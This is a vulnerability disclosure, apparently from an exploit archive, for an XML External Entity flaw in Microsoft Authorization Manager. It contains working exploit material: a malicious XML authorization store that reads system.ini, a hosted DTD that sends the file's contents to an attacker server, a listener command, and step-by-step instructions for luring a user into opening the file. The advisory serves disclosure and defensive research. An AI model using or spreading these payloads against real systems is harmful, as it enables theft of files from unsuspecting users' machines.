Microsoft Authorization Manager azman XML External Entity Vulnerability

[+] Credits: John Page aka hyp3rlinx

Vendor:
==================
www.microsoft.com



Product:
==============================
Microsoft Authorization Manager
v6.1.7601

The Authorization Manager allows you to set role-based permissions for Authorization Manager-enabled applications.

You can store authorization stores in either XML files, Active Directory Domain Services (AD DS), Active Directory Lightweight Directory
Services (AD LDS), or in Microsoft SQL Server databases.



Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

"msxml3.dll" DLL is used by "Microsoft Management Console" azman.msc / eventvwr.msc and other Windows components to process XML files.

The parser processes XML External Entity nodes allowing external connections to be made to remote malicious DTD documents that can potentially
allow access to files on users system to be exfiltrated to a remote server. Therefore the XML parser is vulnerable to XXE attack if a user
unknowingly opens a malicious XML 'authorization store' document via remote share/USB into 'Authorization Manager'.

"C:Windowssystem32mmc.exe"
"C:Windowssystem32azman.msc"
"C:WindowsSystem32msxml3.dll"


Exploit code(s):
===============

Start our listener on attacker server to access users files.
python -m SimpleHTTPServer 8080


Create the evil XML file with following payload to steal "system.ini" as data theft POC.

<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "C:Windowssystem.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Next, create the "payload.dtd" DTD document to host on attacker server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;



1) Go to Windows CL and type azman to bring up Authorization Manager

2) Go to Action / "Open Authorization store..."

3) Select authorization store type to be 'XML file'

4) Browse to open the "PWN.XML" authorization store file and click Ok


User will see error message "Cannot open the authorization store. The following problem occurred: An attempt was made
to load a program with an incorrect format."

Result: files delivered to your server!




Disclosure Timeline:
===========================================
Vendor Notification: August 30, 2016
Vendor Reply: August 30, 2016
does not meet the bar for servicing as someone would have to
obtain the XML from an untrusted source or compromised source"
December 4, 2016 : Public Disclosure

#  0day.today [2018-04-08]  #